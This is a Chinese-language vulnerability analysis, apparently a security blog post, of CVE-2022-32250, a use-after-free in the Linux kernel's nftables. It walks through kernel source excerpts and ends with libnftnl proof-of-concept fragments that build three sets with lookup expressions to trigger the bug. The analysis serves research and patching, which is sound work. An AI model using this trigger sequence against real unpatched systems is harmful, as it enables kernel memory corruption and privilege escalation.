Nftables漏洞原理分析（CVE-2022-32250）

前言

在nftales中存在着集合(sets)，用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制，它可以用于各种网络过滤和转发规则。

而CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。

环境搭建

ubuntu20 + QEMU-4.2.1 + Linux-5.15

.config文件

CONFIG_NF_TABLES=y
CONFIG_NETFILTER_NETLINK=y
CONFIG_E1000=y
CONFIG_E1000E=y
CONFIG_USER_NS=y，开启命名空间

开启KASAN：make menuconfig --> Kernel hacking -->Memory Debugging --> KASAN

在ubuntu20直接安装的libnftnl版本太低，因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载

./configure --prefix=/usr && make
sudo make install

漏洞验证

poc:https://seclists.org/oss-sec/2022/q2/159

在运行poc时，KASAN检测出存在uaf漏洞

漏洞原理

从KASAN给出的信息可知，该漏洞与set有关，因此从set的创建到使用进行源码分析。

在nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置，若这些条件不具备则直接返回。

File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206: 			    const struct nlattr * const nla[])
4207: {
    	...
        //判断创建set的必备条件是否具备
4227: 	if (nla[NFTA_SET_TABLE] == NULL ||
4228: 	    nla[NFTA_SET_NAME] == NULL ||
4229: 	    nla[NFTA_SET_KEY_LEN] == NULL ||
4230: 	    nla[NFTA_SET_ID] == NULL)
4231: 		return -EINVAL;
    	...

集合通过kvzalloc函数开辟空间

File: linux-5.15\net\netfilter\nf_tables_api.c
    ...
4369: 	set = kvzalloc(alloc_size, GFP_KERNEL);
4370: 	if (!set)
4371: 		return -ENOMEM;
	...

在成功创建集合后，就会进行初始化的过程，有一个变量需要重点关注，即set->bindings。

File: linux-5.15\net\netfilter\nf_tables_api.c
    ...
    //对集合做初始化
4390: 	INIT_LIST_HEAD(&set->bindings);
4391: 	INIT_LIST_HEAD(&set->catchall_list);
4392: 	set->table = table;
4393: 	write_pnet(&set->net, net);
4394: 	set->ops = ops;
4395: 	set->ktype = ktype;
4396: 	set->klen = desc.klen;
4397: 	set->dtype = dtype;
4398: 	set->objtype = objtype;
4399: 	set->dlen = desc.dlen;
4400: 	set->flags = flags;
4401: 	set->size = desc.size;
4402: 	set->policy = policy;
4403: 	set->udlen = udlen;
4404: 	set->udata = udata;
4405: 	set->timeout = timeout;
4406: 	set->gc_int = gc_int;
	...

当初始化完毕之后，会去判断创建集合时，该集合是否有需要创建的表达式。

File: linux-5.15\net\netfilter\nf_tables_api.c
	...
    	//判断是否有表达式需要创建
4416: 	if (nla[NFTA_SET_EXPR]) {
4417: 		expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建
4418: 		if (IS_ERR(expr)) {
4419: 			err = PTR_ERR(expr);
4420: 			goto err_set_expr_alloc;
4421: 		}
4422: 		set->exprs[0] = expr;
4423: 		set->num_exprs++;
	...

在代码[1]处会对表达式进行初始化，紧接着在代码[2]处会对表达式的标志位进行校验，当表达式的标志位不具备NFT_EXPR_STATEFUL属性，那么就会跳转到[3]中进行销毁表达式的处理，紧接着返回错误。这里似乎会存在问题，因为代表[1]与[2]是先创建表达式再检验，就会导致任意的表达式被创建。

File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310: 					 const struct nft_set *set,
5311: 					 const struct nlattr *attr)
5312: {
5313: 	struct nft_expr *expr;
5314: 	int err;
5315: 
5316: 	expr = nft_expr_init(ctx, attr); --->[1]
5317: 	if (IS_ERR(expr))
5318: 		return expr;
5319: 
5320: 	err = -EOPNOTSUPP;
5321: 	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: 		goto err_set_elem_expr;
5323: 
	...
5334: err_set_elem_expr:
5335: 	nft_expr_destroy(ctx, expr); --->[3]
5336: 	return ERR_PTR(err);
5337: }

回顾KASAN的报告，发现该漏洞与表达式nft_lookup有关，因此接下来关注一下lookup表达式初始化的过程。

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lookup表达式的结构体如下，可以看到在lookup结构体里存在着binding变量，是上面set会初始化的一个变量。

struct nft_lookup {
	struct nft_set			*set; //集合
	u8				sreg; //源寄存器
	u8				dreg; //目的寄存器
	bool				invert; 
	struct nft_set_binding		binding;
};

nft_set_bing结构体实则是维护了一个双链表。

struct nft_set_binding {
	struct list_head		list;
	const struct nft_chain		*chain;
	u32				flags;
};

nft_lookup_init函数负责初始化lookup表达式，可以看到需要set与源寄存器都存在的情况下才能够完成创建。

File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096: 			   const struct nft_expr *expr,
097: 			   const struct nlattr * const tb[])
098: {
    ...
        //检测set与源寄存器的值
105: 	if (tb[NFTA_LOOKUP_SET] == NULL ||
106: 	    tb[NFTA_LOOKUP_SREG] == NULL)
107: 		return -EINVAL;
    ...

紧接着检索需要搜索的set。

File: linux-5.15\net\netfilter\nft_lookup.c
		...
109: 	set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110: 				    tb[NFTA_LOOKUP_SET_ID], genmask);
111: 	if (IS_ERR(set))
112: 		return PTR_ERR(set);
		...

最后在完成了set的搜索后，就会进行一个绑定操作，会将表达式的binging接入的set的binding。

File: linux-5.15\net\netfilter\nft_lookup.c
	...
148: 	err = nf_tables_bind_set(ctx, set, &priv->binding);
149: 	if (err < 0)
150: 		return err;
	...

首先在绑定之前会校验链表是否是匿名并且非空。

File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607: 		       struct nft_set_binding *binding)
4608: {
    	...
4615: 	if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616: 		return -EBUSY;
    	...

在通过上面的检测后，就会将当前表达式的加入到set中，

File: linux-5.15\net\netfilter\nf_tables_api.c
		...
4643: 	list_add_tail_rcu(&binding->list, &set->bindings);
		...

综上所述，bing的作用实则是维护相同set下的不同的表达式。具体流程如下。

在set创建时，会初始化bindings指向自己本身。

紧接着若有lookup表达式创建，并绑定上述的set时，因此通过set的bingdings，可以检索在当前set上的所有expr。

在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL，如[2]所示

5321: 	if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322: 		goto err_set_elem_expr;

在初始化lookup表达式时，是不会给flags设置值的，因此默认值即为0，因此在创建set的同时创建lookup表达式，lookup表达式的类型是默认为0，是无法绕过检测的。

struct nft_expr_type nft_lookup_type __read_mostly = {
	.name		= "lookup",
	.ops		= &nft_lookup_ops,
	.policy		= nft_lookup_policy,
	.maxattr	= NFTA_LOOKUP_MAX,
	.owner		= THIS_MODULE,
};

那么就会进入销毁表达式[3]

5334: err_set_elem_expr:
5335: 	nft_expr_destroy(ctx, expr); --->[3]
5336: 	return ERR_PTR(err);

nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数

File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825: 	nf_tables_expr_destroy(ctx, expr);
2826: 	kfree(expr);
2827: }

在nf_tables_exor_destroy函数会调用表达式的destroy操作

File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762: 				   struct nft_expr *expr)
2763: {
2764: 	const struct nft_expr_type *type = expr->ops->type;
2765: 
2766: 	if (expr->ops->destroy)
2767: 		expr->ops->destroy(ctx, expr); //表达式的删除操作
2768: 	module_put(type->owner);
2769: }

nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数

File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174: 			       const struct nft_expr *expr)
175: {
176: 	struct nft_lookup *priv = nft_expr_priv(expr);
177: 
178: 	nf_tables_destroy_set(ctx, priv->set);
179: }

在nf_tables_destroy_set函数内部中有一个简单的判断，若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞，若我们创建的表达式lookup已经被绑定在set上，因此list_empty(&set->bindings为0，那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。

File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685: 	if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空，以及`set`是否匿名
4686: 		nft_set_destroy(ctx, set);
4687: }

由于lookup->destory不会执行任何操作，就会导致lookup表达式仍然残留在set->bingdings上，但是由于表达式的标志位不能通过校验，随后该表达式就会被释放。

POC分析

首先创建一个名为set_stable的set，为后续创建lookup表达式做准备。

    set_name = "set_stable";
    nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);

紧接着创建名为set_trigger的set，并同时将标志位设置为NFT_SET_EXPR，那么就能在创建set的同时创建表达式，创建的表达式为lookup表达式，并且搜索的set的名为set_stable，这里需要注意的是，第一个创建的set是为了后续的lookup表达式提供搜索的set，而第二次的set是为了创建set的同时创建lookup表达式，因此第二个set的作用仅仅是为了创建lookup表达式。

    set_name = "set_trigger";
    nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
    exprs[exprid] = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    // nest the expression into the set
    nftnl_set_add_expr(set_trigger, exprs[exprid]);

最后就是触发漏洞，第三次的set同样的也仅仅是为了创建lookup表达式，由于此时名为set_stable的set->bingdings还存在着被释放掉的lookup表达式的指针，因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中，从而导致的uaf漏洞。

    set_name = "set_uaf";
    nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);
    nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);
    exprs[exprid] = nftnl_expr_alloc("lookup");
    nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);